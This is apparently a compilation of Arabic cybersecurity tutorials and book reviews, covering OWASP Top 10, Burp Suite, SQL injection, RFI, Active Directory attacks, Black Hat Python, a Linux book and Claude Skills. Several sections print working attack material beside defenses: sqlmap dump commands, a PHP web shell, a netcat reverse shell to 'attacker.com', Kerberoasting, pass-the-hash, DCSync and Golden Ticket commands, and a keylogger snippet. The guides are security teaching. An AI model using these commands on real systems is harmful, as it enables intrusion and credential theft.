هي مؤسسة غير ربحية تنشر كل 3-4 سنوات قائمة (OWASP (Open Web Application Security Project بأخطر 10 فئات من ثغرات تطبيقات الويب. القائمة هي المعيار العالمي الذي يستخدمه:

- شركات Fortune 500 في تقييم تطبيقاتها
- الباحثون الأمنيون لاختبار اختراق منظم
- الحكومات (مثل DoD الأمريكي) كحد أدنى للأمان
- مطورون كـ checklist لتأمين تطبيقاتهم

Broken Access Control

الوصف: المستخدم يقدر يصل لموارد ما من حقه - مثل تعديل user ID في URL لرؤية حساب غيره.

أمثلة شائعة:

- • تغيير ID في URL: /user/123/profile → /user/124/profile
- • الوصول لـ API endpoints بدون تحقق الصلاحيات
- • رفع صلاحيات المستخدم من user إلى admin
- • JWT tokens مزورة أو معاد استخدامها

كيف تستغل:

اختبار IDOR

GET /api/users/1001/profile

GET /api/users/1002/profile <-- مستخدم آخر

GET /api/users/1003/admin <-- محاولة admin

الدفاع:

- • تطبيق authorization في كل endpoint (لا تعتمد على UI)
- • استخدام policy engines (Casbin, OPA)
- • تعطيل حسابات المستخدمين المحذوفين فورا
- • تسجيل محاولات الوصول غير المصرح بها

Cryptographic Failures

الوصف: ضعف في التشفير أو عدم استخدامه - بيانات حساسة مكشوفة.

أمثلة:

• • تخزين كلمات المرور بدون hash (أو MD5 - مكسور)

• • HTTPS بدلا من HTTP

• • استخدام تشفير قديم (DES, RC4, SHA1)

• • مفاتيح تشفير مكشوفة في الكود

الدفاع:

• • bcrypt أو Argon2 لكلمات المرور (cost 12+)

• • TLS 1.3 فقط

• • AES-256 للبيانات في حالة السكون

• • إدارة مفاتيح في HSM أو Vault

Injection

الوصف: المهاجم يحقن كود ضار في input - SQL, NoSQL, OS commands, LDAP...

مثال SQL Injection:

```
# Input عادي
username: admin
password: mypass

# Input ضار
username: admin' OR '1'='1
password: anything

# يصبح الاستعلام:
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'
```

الدفاع:

• • Prepared Statements / Parameterized Queries (الأهم)

• • ORMs (Hibernate, Sequelize)

• • Input Validation (لكن لا تعتمد عليه وحده)

• • Least Privilege على DB user

باقي القائمة المختصرة:

Insecure Design

ثغرات في التصميم نفسه - مو في الكود. مثل workflow يسمح بشيء خطير.

Security Misconfiguration

إعدادات افتراضية، debug mode في production، صلاحيات مفتوحة.

Vulnerable Components

مكتبات قديمة أو معروفة بثغرات - 70%+ من التطبيقات تستخدم مكونات قديمة.

Authentication Failures

ثغرات في login - كلمات مرور ضعيفة، credential stuffing، session hijacking.

Software & Data Integrity

عدم التحقق من updates, CI/CD pipelines مكشوفة, deserialization attacks.

Logging & Monitoring Failures

عدم تسجيل الهجمات - المهاجم يبقى شهور بدون ما حد يلاحظ.

SSRF (Server-Side Request Forgery)

السيرفر يجلب موارد من URL يتحكم فيه المهاجم - يصل لـ internal services.

كيف تبدأ تعلم OWASP Top 10؟

- ابدأ بـ PortSwigger Web Security Academy (مجاني 100%)
- طبق على DVWA أو bWAPP
- جرب TryHackMe OWASP Top 10 rooms
- بعدها ابدأ Bug Bounty على HackerOne

دليل الإتقان - Burp Suite

المصدر الأصلي

؟ ما هي Burp Suite؟

Burp Suite (نفس مطوري PortSwigger) هي منصة متكاملة لاختبار أمان تطبيقات الويب، من تطوير PortSwigger Academy معا تعمل من عدة أدوات تتكون :المجاني).

• Proxy: يعترض ويعالج HTTP/HTTPS

• Repeater: يعيد إرسال الطلبات مع تعديل

• Intruder: أتمتة brute-force/fuzzing

• Scanner: فحص الثغرات آليا (فقط Pro)

• Decoder/Comparer: معالجة البيانات

التثبيت والإعداد

• حمل من portswigger.net/burp

• اختر Community Edition (مجاني) أو $3500 (سنة/Pro)

• ثبت Java JRE إذا لم يكن موجودا

• شغل Burp، روح لـ Proxy → Options

• افتراضيا يسمع على 127.0.0.1:8080

إعداد المتصفح (FoxyProxy)

الخطوة 1: ثبت FoxyProxy

إضافة Firefox/Chrome لتبديل الـ Proxy بسرعة.

الخطوة 2: أنشئ Proxy جديد

Title: BurpSuite

Proxy Type: HTTP

Proxy IP: 127.0.0.1

Port: 8080

الخطوة 3: شهادة CA

زر http://burp/cert وحمل شهادة Burp CA. استوردها في المتصفح.

الأدوات الأساسية

1. Proxy

يعترض كل حركة المرور بين المتصفح والسيرفر. شغل "Intercept is on" لترى كل request.

GET /api/users HTTP/1.1

Host: target.com

Cookie: session=abc123

Authorization: Bearer xyz

2. Repeater

تعدل request وترسله عدة مرات لرؤية response. مثالي لاختبار:

• • تعديل parameters (price, role, id)

• • تجربة payloads مختلفة لـ SQLi/XSS

• • تكرار الطلب بعد logout لاختبار session

3. Intruder

أتمتة brute-force و fuzzing. 4 أنواع attacks:

• Sniper: payload واحد على position واحد

• Battering Ram: نفس الـ payload على كل positions

• Pitchfork: payload sets متعددة بالتوازي

• Cluster Bomb: كل combination ممكن

4. Scanner (Pro فقط)

يفحص التطبيق آليا ويطلع بثغرات مرتبة حسب الخطورة. مجاني؟ استخدم OWASP ZAP كبديل.

مثال عملي: اكتشاف IDOR

السيناريو:

• سجل دخول في التطبيق

• روح لصفحة profile، شوف الـ request في Burp Proxy

• لاحظ الـ URL: /api/users/1001/profile

• ابعث للـ Repeater

• غير 1001 إلى 1002

• إذا رجع بيانات user آخر = IDOR موجود!

مبروك! وجدت ثغرة IDOR - أبلغ عنها في Bug Bounty واحصل على مكافأة

إضافات مفيدة

Logger++

تسجيل متقدم لكل request

Autorize

اختبار authorization آليا

JSON Beautifier

تنسيق JSON جميل

Turbo Intruder

سريع جدا brute-force

نصائح من المحترفين

• • ابدأ بـ PortSwigger Academy - مجاني وفيه مختبرات تفاعلية

• • استخدم Turbo Intruder للسرعة

• • فعل Match & Replace لتعديل تلقائي

• • احفظ Sitemap للمشروع في كل اختبار

• • استخدم Repeater مع Sessions للمصادقة التلقائية

روابط وردت في المقال

https://portswigger.net/burp/communitydownload

الهجوم والدفاع - SQL Injection

المصدر الأصلي

؟ ما هي SQL Injection؟

ثغرة تحدث لما التطبيق يجمع input المستخدم مع query قاعدة البيانات بدون تنظيف . المهاجم يحقن كود SQL ضار في input لاختراق القاعدة.

كود ضعيف (PHP مثلا)

$query = "SELECT * FROM users WHERE email = '" . $_POST['email'] . "'";

لو المستخدم كتب:

email = ' OR '1'='1

يصبح الاستعلام:

SELECT * FROM users WHERE email = '' OR '1'='1'

يرجع كل المستخدمين!

أنواع SQL Injection

1. Classic (In-band) SQLi

المهاجم يستخدم نفس القناة للـ attack و استخراج البيانات.

a) Error-Based

استغلال error messages لكشف بنية القاعدة.

b) UNION-Based

استخدام UNION لدمج queries وعرض البيانات.

2. Blind SQLi

ما تشوف البيانات مباشرة - تستنتجها من تصرفات التطبيق.

a) Boolean-Based

استنتاج حرف حرف بناء على true/false responses.

b) Time-Based

استخدام SLEEP لاستنتاج البيانات من التأخير.

3. Out-of-Band SQLi

استخراج البيانات عبر قناة خارجية (DNS, HTTP request).

4. Second-Order SQLi

الكود الضار يخزن ثم ينفذ في query آخر لاحقا.

أدوات الاختبار

sqlmap

الأداة الأشهر لأتمتة SQLi detection و exploitation.

Burp Suite

Scanner (Pro) + للاختبار اليدوي Repeater.

ghauri

بديل لـ sqlmap بـ Python، أبسط في الاستخدام.

JSQL Injection

أداة Java بواجهة رسومية - ممتازة للمبتدئين.

مثال عملي: استخدام sqlmap

الخطوة 1: اكتشاف نقطة حقن محتملة

أرسل URL مشبوه في Burp:

الخطوة 2: شغل sqlmap

```
sqlmap -u "http://target.com/products?id=5" --dbs
```

```
# --dbs: يعرض قواعد البيانات
```

الخطوة 3: اختر قاعدة بيانات

```
sqlmap -u "..." -D production_db --tables
```

الخطوة 4: استخرج البيانات

```
sqlmap -u "..." -D production_db -T users --dump
```

كيف تحمي تطبيقك؟

1. Prepared Statements (الأهم)

```
// PHP + PDO
$stmt = $pdo->prepare("SELECT * FROM users WHERE email = ?");
$stmt->execute([$_POST['email']]);
```

2. ORMs

استخدم Hibernate (Java), SQLAlchemy (Python), (Eloquent (Laravel - كلهم يستخدمون parameterized queries تلقائيا.

3. Input Validation

تحقق من نوع البيانات. للأرقام استخدم intval() ، للإيميلات فلتر.

4. Least Privilege

حق التطبيق ما يحتاج DB user - ليس SELECT/INSERT/UPDATE بس DBA.

5. WAF

Cloudflare WAF أو ModSecurity يحظر payloads SQLi المعروفة.

6. إخفاء أخطاء

في production: display_errors = Off . أخطاء DB ما تظهر للمستخدم.

للتدريب القانوني

- PortSwigger Academy: مختبرات SQLi ممتازة مجانية
- SQLi-labs: 75+ مستوى SQLi تطبيق فيه
- DVWA: تطبيق ضعيف متعمدا
- HackTheBox: آلات تحاكي سيناريوهات حقيقية

دليل RFI (Remote File Inclusion)

المصدر الأصلي

ما هي Remote File Inclusion؟

ثغرة في تطبيقات RFI هي PHP (في التطبيق الخارجي من خادم ملف بتضمين للمهاجم تسمح تقنيا لغات أخرى).
ضار. PHP كود يحقن يقدر المهاجم، صحيح بشكل المدخلات يفلتر ما التطبيق لو

// مثال URL ضعيف:

https://target.com/index.php?page=home.php

// المهاجم يستغل:

https://target.com/index.php?page=http://evil.com/shell.txt

نتائج استغلال RFI:

- 1. تنفيذ أوامر عن بعد (RCE) - الأخطر
- 2. السيطرة الكاملة على الخادم
- 3. تشويه الموقع أو سرقة بيانات حساسة
- 4. تنفيذ هجمات Client-Side مثل XSS

ليش تحصل ثغرة RFI؟

السبب الجذري: كود PHP سيء يكتب بدون فلترة المدخلات . شوف الفرق:

كود ضعيف

```
// خطير جدا
<?php
$page = $_GET['page'];
include($page);
?>
```

يسمح بتضمين أي ملف من الإنترنت

كود آمن

```
// آمن - whitelist
<?php
$allowed = ['home', 'about', 'contact'];
$page = $_GET['page'] ?? 'home';
if (in_array($page, $allowed)) {
include("$page.php");
```

```
}
?>
```

يقبل فقط الصفحات من القائمة المسموحة

كيف يستغلها المهاجم؟

1. الاستغلال الأساسي

المهاجم يرفع ملف PHP ضار على سيرفره الخاص، ثم يستدعيه عبر URL.

```
# على سيرفر المهاجم:
echo '<?php system($_GET["cmd"]); ?>' > shell.txt

# المهاجم يفتح:
http://target.com/index.php?page=http://attacker.com/shell.txt&cmd=id
```

2. Reverse Shell عبر Netcat

لما يكون الـ RCE محقق، المهاجم يفتح اتصال عكسي على سيرفره.

```
# على سيرفر المهاجم (Terminal 1):
nc -lvnp 4444

# في الـ URL:
http://target.com/index.php?page=http://attacker.com/shell.txt

# shell.txt يحتوي:
nc attacker.com 4444 -e /bin/bash
```

3. استغلال Metasploit

Metasploit عنده module جاهز لـ RFI.

```
use exploit/unix/webapp/php_include
set RHOST target.com
set PHPURI /index.php?page=XXpathXX
set PATH /shell.txt
exploit
```

تجاوز Blacklist

بعض التطبيقات تحاول فلترة http/https في الـ URL. المهاجم يلتف حولها بطرق ذكية:

الطريقة 1: Null Byte Attack

في PHP قديم، null byte يقطع النص بعده ويتجاهل اللواحق

الطريقة 2: SMB Server

لو التطبيق يحظر HTTP لكن يسمح بـ UNC paths (Windows):

الطريقة 3: URL Encoding

تشفير حرف أو أكثر من URL

كيف تحمي تطبيقك؟

1. استخدم Whitelist صارمة

حدد الصفحات المسموح تضمينها بقائمة ثابتة. لا تقبل أي input حرفي.

2. عطل allow_url_include

يمنع PHP من تضمين URLs خارجية بشكل افتراضي

3. استخدم دوال آمنة

بدل include() استخدم خرائط ثابتة أو template engines.

4. WAF (Web Application Firewall)

يقدر يكتشف محاولات Cloudflare WAF أو ModSecurity ويحظرها RFI.

5. تحديث PHP

استخدم إصدار حديث دائما. Null Byte attacks أصلح كثير من PHP 5.3+.

أين تتدرب عليها؟

مهم جدا: طبق على تطبيقات قانونية فقط! لا تختبر على مواقع بدون إذن.

- • DVWA: Damn Vulnerable Web Application - تطبيق متعمد ضعفه للتدريب
- • bWAPP: أكثر من 100 ثغرة للتدريب
- • PortSwigger Academy: مختبرات RFI/LFI مجانية
- • HackTheBox: آلات تحاكي سيناريوهات حقيقية

تصنيف الثغرة رسميا

الوصف	CWE
التحكم غير السليم في اسم الملف لـ include/require في PHP	CWE-98
التحقق غير السليم من المدخلات	CWE-20

هجمات Active Directory - منهجية شاملة

المصدر الأصلي

؟ ما هو Active Directory؟

يستخدم في 95% من الشركات، Microsoft هو نظام إدارة الهوية والصلاحيات من Active Directory (AD) .يتحكم بكل شيء: المستخدمين، الصلاحيات، السياسات، الطابعات .Fortune 500

لهذا السبب، اختراق AD = اختراق الشركة كلها.

1 المرحلة 1: الدخول الأولي

Phishing

الطريقة الأكثر شيوعا. المهاجم يرسل بريد يحوي ملف Office ضار أو رابط تسجيل دخول مزور.

الأدوات: GoPhish, evilginx2, SET

Credential Stuffing

تجربة كلمات مرور مسربة من breaches أخرى (Have I Been Pwned).

Public-facing Vulnerabilities

ثغرة في VPN، Exchange، Citrix، Fortinet...

المرحلة 2: Kerberoasting

ما هو؟

أي حساب خدمة في AD عنده SPN (Service Principal Name) = له Kerberos ticket قابل للكسر offline.

كيف تنفذه بـ Impacket

GetUserSPNs.py 'domain.local/user:password' -dc-ip 10.0.0.1 -request

كسر الـ Hash

hashcat -m 13100 hash.txt rockyou.txt

نصيحة: الحسابات ذات كلمات مرور طويلة (>25 حرف) مقاومة لـ Kerberoasting. شجع استخدام Managed Service Accounts.

AS-REP Roasting

مثل Kerberoasting لكن بدون SPN - يستهدف حسابات بدون pre-authentication.

GetNPUsers.py 'domain.local/' -usersfile users.txt -format hashcat -outputfile hashes.txt

Pass-the-Hash (PtH)

المفهوم

NTLM hash = الـ hash كافي لتسجيل دخول. ما تحتاج كلمة المرور الأصلية. المهاجم يسرق الـ hash ويستخدمه مباشرة.

Impacket بـ

psexec.py 'domain/admin@10.0.0.1' -hashes aad3b435b51404eeaad3b435b51404ee:hash

متى ينجح؟

- الحسابات المحلية
- حسابات بدون LSA Protection
- أنظمة قديمة (XP, Server 2003)

BloodHound - خريطة الهجوم

أداة رسم خرائط AD. تكشف أقصر مسار من Domain Users إلى Domain Admin بصريا.

الاستخدام

bloodhound-python -u user -p 'pass' -d domain.local -ns 10.0.0.1 -c All

افتح BloodHound GUI، استورد JSON، استعرض:

- Shortest Paths to Domain Admins
- Find all Kerberoastable Users
- Find Computers with Unconstrained Delegation
- List of Domain Admins

DCSync - تاج الوصول

ما هو؟

يحاكي Domain Controller لسحب كلمات مرور كل المستخدمين في الـ domain. يعطيك krbtgt hash = Golden Ticket.

الشروط

• صلاحيات Replicating Directory Changes + Replicating Directory Changes All

• أو عضو في Domain Admins / Enterprise Admins

بـ Impacket

secretsdump.py 'domain/admin:password@10.0.0.1'

ممكن يكتشفك، Event ID 4662 (Directory Service Access) عنده تنبيهات على SOC لو الـ Critical:.

Golden Ticket

لو حصلت على krbtgt hash عبر DCSync، تقدر تصنع Kerberos tickets بأي اسم وصلاحية لأي مدة.

بـ Mimikatz

kerberos::golden /user:admin /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH /endin:600 /renewmax:10080 /ptt

التخفيف الوحيد: غير krbtgt password مرتين (10 interval ساعات) - حينها التذاكر المزورة تنتهي صلاحيتها.

أدوات أساسية لـ AD

Impacket

Python toolkit - psexec, secretsdump, GetUserSPNs...

BloodHound

رسم خرائط AD بصريا

Mimikatz

Golden Ticket, Pass-the-Hash

Rubeus

Windows من Kerberos attacks

CrackMapExec

Post-exploitation AD

PowerView

PowerShell enumeration

كيف تحمي AD؟

Tier Model

افصل بين Workstations (Tier 2)، Servers (Tier 1)، Domain Controllers (Tier 0).

LAPS

Local Admin Password Solution - كلمات مرور عشوائية لكل جهاز.

Protected Users Group

حسابات حساسة لا تستطيع Kerberos أو NTLM.

Credential Guard

يمنع LSA لـ VBS-based isolation - Mimikatz.

Monitoring

Event 4662, 4769, 4624 (Kerberos anomalies) لـ SIEM rules.

krbtgt rotation

غير krbtgt مرتين سنويا على الأقل.

للتدريب

- TryHackMe: Active Directory Basics, Attacktive Directory •
- HackTheBox: Forest, Monteverde, Forest •
- GOAD: Game of Active Directory - vulnerable lab •
- PNPT: شهادة TCM Security العملية •

ملخص Black Hat Python

المصدر الأصلي

؟Black Hat Python ليش ؟

Python هي لغة الأمن السيبراني

أكثر أدوات الاختراق مكتوبة بـ Python (sqlmap, scapy, requests, impacket). تعلمها = تقدر تفهم وتبني أدواتك.

لا يفترض خبرة عميقة

المؤلف Justin Seitz يقول بصراحة: "أنا لست expert في Python، أنا pentester أستخدمها بسرعة. هذا أسلوبي." يعني لو تعرف أساسيات Python، تقدر تتابع.

عملي 100%

كل فصل يبني أداة حقيقية تشتغل — مو تنظير. تتعلم بكتابة كود حقيقي.

ما يغطيه الكتاب

الفصل 1: إعداد البيئة

تثبيت Python 3، مكتبات أساسية، Kali Linux setup.

الفصل 2: الشبكات الأساسية

بناء TCP Client/Server، استبدال Netcat بأداة Python خاصة.

الفصل 3: Raw Sockets & Sniffing

التقاط وتحليل حزم الشبكة يدويا.

الفصل 4: استغلال HTTP

بناء مكتبة HTTP خاصة، التعامل مع web scraping، proxies.

الفصل 5: استخراج البيانات من الويب

BeautifulSoup, HTML parsing, IoT discovery (Shodan-like).

الفصل 6-8: اختراق Windows

Privilege Escalation، تنفيذ كود عن بعد، Screenshots، Keyloggers.

الفصل 9: استغلال Internet Explorer

دراسة حالة لاستغلال متصفح قديم (تاريخي لكن مفهوم).

الفصل 10: Immunity Debugger

أتمتة Reverse Engineering باستخدام debugger.

الفصل 11: Fuzzing

بناء fuzzer لاكتشاف ثغرات.

أدوات حقيقية تبنيها

أداة Netcat مخصصة بـ Python

بديل لـ Netcat تدعم رفع/تنزيل الملفات، تنفيذ أوامر، reverse shells.

```
import
socket

بسيط TCP Client #

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((
"target.com"
,
9999
))
client.send(b
"GET / HTTP/1.0\r\n\r\n"
)
response = client.recv(
4096
)
print
(response.decode())
```

Keylogger بسيط

يسجل كل ضغطة لوحة المفاتيح. يستخدم في penetration testing فقط بإذن.

```
from
pynput.keyboard
import
Key, Listener
def
on_press
(key):
```

```
with
open
(
"log.txt"
,
"a"
)
as
f:
f.write(
str
(key))
with
Listener(on_press=on_press)
as
l:
l.join()
```

مكتبة HTTP للـ proxies

مثل Burp Suite لكن أنت تبنيها. للتعلم وفهم كيف proxies تعمل.

```
import
requests

# Session للاحتفاظ بـ cookies
session = requests.Session()
# POST login
session.post(
"https://target.com/login"
, data={
"username"
:
"admin"
,
"password"
:
"password"
})

# الوصول لـ dashboard
resp = session.get(
"https://target.com/dashboard"
)
print
(resp.text)
```

مكتبات Python الأساسية للأمن

المكتبة | الاستخدام

الأساسية TCP/UDP الشبكات | socket

سهلة HTTP requests | requests

معالجة حزم الشبكة المتقدمة | scapy

paramiko | SSH connections

Windows (SMB, Kerberos) بروتوكولات | impacket

BeautifulSoup | HTML/XML parsing

pynput | Keyboard/mouse monitoring

التشفير الحديث | cryptography

CLI أتمتة تطبيقات | pexpect

(Screenshots) معالجة الصور | Pillow

نصائح ذهبية من Justin Seitz

"أفكاركم أهم من الكود"

يقول: ما يحب يحط أمثلة "مثالية". يحب يعطيك الفكرة + الحد الأدنى، ثم يترك لك تجرب. هذا أسلوب Justin التعلم الحقيقي.

"سرعة > كمال"

في الـ pentesting، تحتاج أداة تشتغل بسرعة وتؤدي الغرض. الكمال الجمالي مو ضروري. المهم النتيجة.

"حل واجباتي"

كل فصل فيه "Homework" - أفكار لبناء أدوات جديدة. لو فعلتها، تتعلم أكثر من قراءة الكتاب مرتين.

"تعلم GitHub"

كل أدواتك انشرها على GitHub. هذا يبني Portfolio قوي ويفتح لك فرص عمل.

هل الكتاب ما زال صالحا (2014)؟

نقاط القوة

- • أساسيات الشبكات مع Python = لم تتغير
- • مكتبات مثل requests, scapy = لا تزال مستخدمة
- • فلسفة "ابني أدواتك" = أبدية
- • شرح الـ sockets = أساسي لكل pentester

نقاط ضعف

- • يركز على Python 2 (قديم) - تحتاج تكييف لـ Python 3

• • فصول Windows XP قديمة - الأنظمة الحديثة مختلفة

• • فصل تاريخي بحت IE 11

• • ما يغطي مكتبات حديثة مثل httpx, asyncio

نصيحتي:

الكتاب يستحق القراءة للفلسفة والأفكار. لكن حضر نفسك تكيف الكود لـ Python 3 ومكتبات أحدث. لو أتقنت الكتاب، تعلم Black Hat Python 2 (الإصدار الثاني المحدث).

ملاحظة أخلاقية مهمة

الكتاب اسمه "Black Hat" لكنه موجه للمتخصصين الأخلاقيين. المؤلف نفسه يعمل في Immunity (شركة اختبار اختراق). أي أداة تبنيها، استخدمها فقط على أنظمتك الخاصة أو بإذن كتابي. Justin في مقدمته: "ما أبني أدوات للمهاجمين. أبني أدوات للمحترفين الذين يستخدمونها بحماية عملائهم."

بعد Black Hat Python، أكمل بـ:

Black Hat Python 2 (الإصدار الثاني)

محدث لـ Python 3، محتوى جديد عن Office Macros، GitHub attacks

Gray Hat Python

كتاب Justin الأول - عن Security Analysis و Reverse Engineering

Automate the Boring Stuff

لو محتاج أساسيات Python أقوى - مجاني 100%

Hacking Articles - Python

مقالات وأمثلة عملية جديدة

روابط وردت في المقال

https://nostarch.com/black-hat-python2E

https://nostarch.com/gray-hat-python

https://automatetheboringstuff.com/

https://www.hackingarticles.in/python-hacking/

مراجعة كتاب سطر أوامر لينكس

المصدر الأصلي

؟ ليش هذا الكتاب مهم لمختص الأمن السيبراني

أكثر من 90% من أدوات الأمن السيبراني تشتغل على Linux. لو ما عندك أساس قوي في سطر الأوامر، رح تواجه صعوبة في:

- تشغيل أدوات مثل nmap , sqlmap , metasploit
- التنقل في أنظمة الاختراق (Kali Linux, Parrot)
- كتابة سكربتات Bash لأتمتة المهام
- قراءة وتحليل logs وملفات التكوين
- فهم منصات مثل HackTheBox و TryHackMe

هذا الكتاب يبني عندك الأساس المتين اللي تحتاجه قبل ما تبدأ بأي اختبار اختراق فعلي.

شو يغطي الكتاب؟

الكتاب مقسوم لـ 4 أبواب كبيرة، وكل باب فيه فصول تعمق في موضوع معين:

الباب الأول: أساسيات سطر الأوامر

10 فصول تغطي الأساسيات:

الصدفة، نظام الملفات، استكشاف النظام، معالجة الملفات، الأوامر، إعادة التوجيه، الأذونات، العمليات. هذا الباب الأساس اللي تبني عليه كل شي .

الباب الثاني: الإعدادات والبيئة

3 فصول متقدمة:

البيئة، محرر vi، تخصيص الـ shell. الباب هذا يفرق بين اللي يعرف الأساس واللي يحترفه.

الباب الثالث: المهام الشائعة

10 فصول عملية:

إدارة الحزم، التخزين، الشبكات، البحث، الأرشفة، التعابير النظامية (Regex)، معالجة النصوص. هذا الباب كنز لمختص الأمن — كل أداة بتحتاجها موجودة هنا.

الباب الرابع: كتابة سكربتات Shell

13 فصل متقدم جدا:

يأخذك من كتابة أول سكربت إلى بناء سكربتات احترافية. ممتاز لمن يبي يبني أدواته الخاصة أو يفهم أدوات مفتوحة المصدر.

ليش أعطي الكتاب 5/5؟

يبدأ من الصفر المطلق

ما يفترض عندك أي معرفة سابقة. لو عمرك ما فتحت Terminal، هذا الكتاب يبدأ معك من "ما هي الصدفة".

أمثلة عملية في كل صفحة

كل مفهوم يتبعه مثال تنفذه بنفسك. الكتاب عملي وليس نظري — هذا اللي يميزه عن غيره.

يبني تفكير "Linux" لا حفظ أوامر

بدل ما يحفظك 100 أمر، يفهمك كيف تشتغل الأشياء — فتستطيع اكتشاف أوامر جديدة بنفسك لاحقا.

النسخة العربية ممتازة الترجمة

المترجم (عبد اللطيف أيمش) حافظ على المصطلحات التقنية الأصلية مع شرحها بالعربي — مثالي للمبتدئ والمتوسط.

مرجع دائم (لا كتاب قراءة فقط)

564 صفحة = ترجع له كثير كل ما احتجت تتذكر كيف تسوي شي معين. كثير مختصين يحتفظون فيه بجانب الشاشة.

نقاط لازم تعرفها قبل البدء

الموضوع ليس سيئا في الكتاب، لكن انتبه:

• العمر الزمني: الكتاب من 2014. بعض الأمثلة على توزيعات قديمة (CentOS 6) ما تشتغل تماما على التوزيعات الحديثة. الحل: طبق المفاهيم على Ubuntu/Debian الحديثة.

• الترخيص CC BY-NC-ND: يعني ما تقدر تنسخ محتواه حرفيا أو تنشره معدلا. لكن تقدر تقرأه مجانا وتشارك الرابط.

• النسخة الأصلية أحدث: الكتاب الأصلي بالإنجليزية وصل لإصدار أحدث. لو تجيد الإنجليزية، المصدر الأصلي فيه تحديثات.

• يحتاج صبر: 564 صفحة مو شغلة يوم. خصص 30-60 دقيقة يوميا لمدة 2-3 أشهر.

لمن هذا الكتاب؟

مناسب جدا لـ

• مبتدئ يريد تعلم Linux من الصفر

• متوسط يبي يحترف سطر الأوامر

- مختص سيبراني يبي أساس متين
- مطور يبي يكتب سكربتات Bash
- أي شخص يفضل التعلم العميق بدون عجلة

مو الأفضل لـ

- من يبي نتيجة سريعة في يومين (جرب cheatsheet)
- من يبي تعلم موضوع محدد فقط (كتاب متخصص أفضل)
- من ما عنده صبر للقراءة الطويلة (جرب فيديوهات)

كيف تبدأ مع الكتاب؟

خطة قراءة مقترحة (8 أسابيع)

الأسابيع 1-3: الباب الأول

الأساسيات + تمارين يدوية على كل فصل

الأسبوع 4: الباب الثاني

تخصيص البيئة + تعلم vi (محرر أساسي)

الأسابيع 5-6: الباب الثالث

تطبيقات عملية + Regex (ضروري جدا)

الأسابيع 7-8: الباب الرابع

سكربتات Shell + مشاريع صغيرة

رأيي النهائي

كتاب "سطر أوامر لينكس" من William Shotts هو من أفضل الكتب العربية المتاحة لتعلم Linux من الصفر للاحتراف.

نقطته الأقوى إنه ما يحفظك أوامر — يفهمك كيف تشتغل الصدفة، فتستطيع لاحقا التعامل مع أي توزيعة وأي أداة بسهولة.

لمختص الأمن السيبراني تحديدا: هذا الكتاب استثمار . لأنه يبني الأساس اللي فوقه تتعلم Nmap, Wireshark, وأي أداة تانية باحترافية Metasploit.

نصيحتي الشخصية: اقرأه بجانب قسم الأدوات في موقعنا. كل ما تقرأ فصل عن أداة (مثل ls, grep, find)، جربها مباشرة على جهازك. كذا تتحول القراءة لمهارة عملية.

ملاحظة عن الترخيص والمصدر

الكتاب مرخص بموجب CC BY-NC-ND 3.0 — مما يعني: يمكنك قراءته ومشاركته مجانا مع نسب الكتاب للمؤلف، لكن لا يمكنك نشر محتوى معدل منه أو استخدامه تجاريا. المصدر الأصلي: الكتاب الأصلي متاح مجانا على

linuxcommand.org بالإنجليزية. النسخة العربية: متاحة عبر مواقع مشاركة الكتب التقنية العربية.

مراجعات كتب أخرى قد تعجبك

دليل بناء Skills لـ Claude

ملخص ومراجعة للدليل الرسمي من Anthropic

كل الكتب الموصى بها

قائمة شاملة بمراجع الأمن السيبراني

روابط وردت في المقال

https://iraqrahomi.github.io/pages/tools.html

http://linuxcommand.org/tlcl.php

https://iraqrahomi.github.io/pages/claude-skills.html

https://iraqrahomi.github.io/pages/resources.html

الدليل الكامل لبناء Skills لـ Claude

المصدر الأصلي

1 ما هي Skill في Claude؟

الـ Skill هي مجلد يحتوي على تعليمات تعلم Claude كيف يتعامل مع مهام محددة أو سير عمل قابلة للتكرار. بدلا من إعادة شرح تفضيلاتك ومنهجياتك في كل محادثة، تعلم Claude مرة واحدة واستفد في كل مرة.

بنية مجلد الـ Skill

```
your-skill-name/
├── SKILL.md # مطلوب - ملف التعليمات الرئيسي
├── scripts/ # اختياري - كود تنفيذي
│ ├── process_data.py
│ └── validate.sh
├── references/ # اختياري - وثائق
│ ├── api-guide.md
│ └── examples/
└── assets/ # اختياري - قوالب، أيقونات
└── report-template.md
```

قواعد تسمية حرجة:

- اسم الملف يجب أن يكون SKILL.md بالضبط (حساس للحالة)
- اسم المجلد kebab-case (مثل: notion-project-setup)
- ممنوع: README.md داخل مجلد الـ Skill
- ممنوع: وسمات XML < > في الـ frontmatter (قيد أمني)

2 المبادئ الأساسية للتصميم

الكشف التدريجي (Progressive Disclosure)

تستخدم نظام ثلاثي المستويات Skills:

• المستوى الأول (YAML frontmatter): يحمل دائما في system prompt. يعطي Claude معلومات كافية لمعرفة متى يستخدم الـ skill بدون تحميل كل شيء.

• المستوى الثاني (SKILL.md body): يحمل عندما يظن Claude أن الـ skill ذو صلة بالمهمة الحالية.

• المستوى الثالث (ملفات مرتبطة): ملفات إضافية يمكن لـ Claude تصفحها عند الحاجة فقط.

التركيب (Composability)

يمكن لـ Claude تحميل عدة Skills في نفس الوقت. الـ Skill الخاص بك يجب أن يعمل جيدا مع Skills أخرى، لا

تفترض أنك الوحيد.

قابلية النقل (Portability)

مرة واحدة، يعمل في كل Skill أنشئ .API و Claude Code و Claude.ai تعمل بنفس الطريقة عبر Skills مكان.

معا أقوى: 3 Skills + MCP

تشبيه المطبخ:

توفر الوصفات: تعليمات خطوة بخطوة لإنشاء Skills .يوفر المطبخ الاحترافي: الأدوات، المكونات، المعدات MCP شيء ذي قيمة.

(المعرفة) Skills | (الاتصال) MCP

يربط Claude بخدمتك (Notion, Asana, Linear...) | يعلم Claude كيف يستخدم خدمتك بفعالية

يوفر وصولا للبيانات في الوقت الفعلي | يلتقط سير العمل وأفضل الممارسات

ما يمكن لـ Claude فعله | كيف يجب على Claude فعله

4 3 فئات شائعة لـ Skills

الفئة 1: إنشاء المستندات والأصول

الاستخدام: إنشاء محتوى عالي الجودة ومتسق (مستندات، عروض، تطبيقات، تصاميم، كود).

مثال حقيقي: skill frontend-design

"Create distinctive, production-grade frontend interfaces with high design quality. Use when building web components, pages, artifacts, posters, or applications."

تقنيات أساسية: أدلة أسلوب مدمجة، قوالب متسقة، قوائم تحقق للجودة.

الفئة 2: أتمتة سير العمل

الاستخدام: عمليات متعددة الخطوات تستفيد من منهجية متسقة، بما في ذلك التنسيق بين عدة خوادم MCP.

مثال حقيقي: skill skill-creator

"Interactive guide for creating new skills. Walks the user through use case definition, frontmatter generation, instruction writing, and validation."

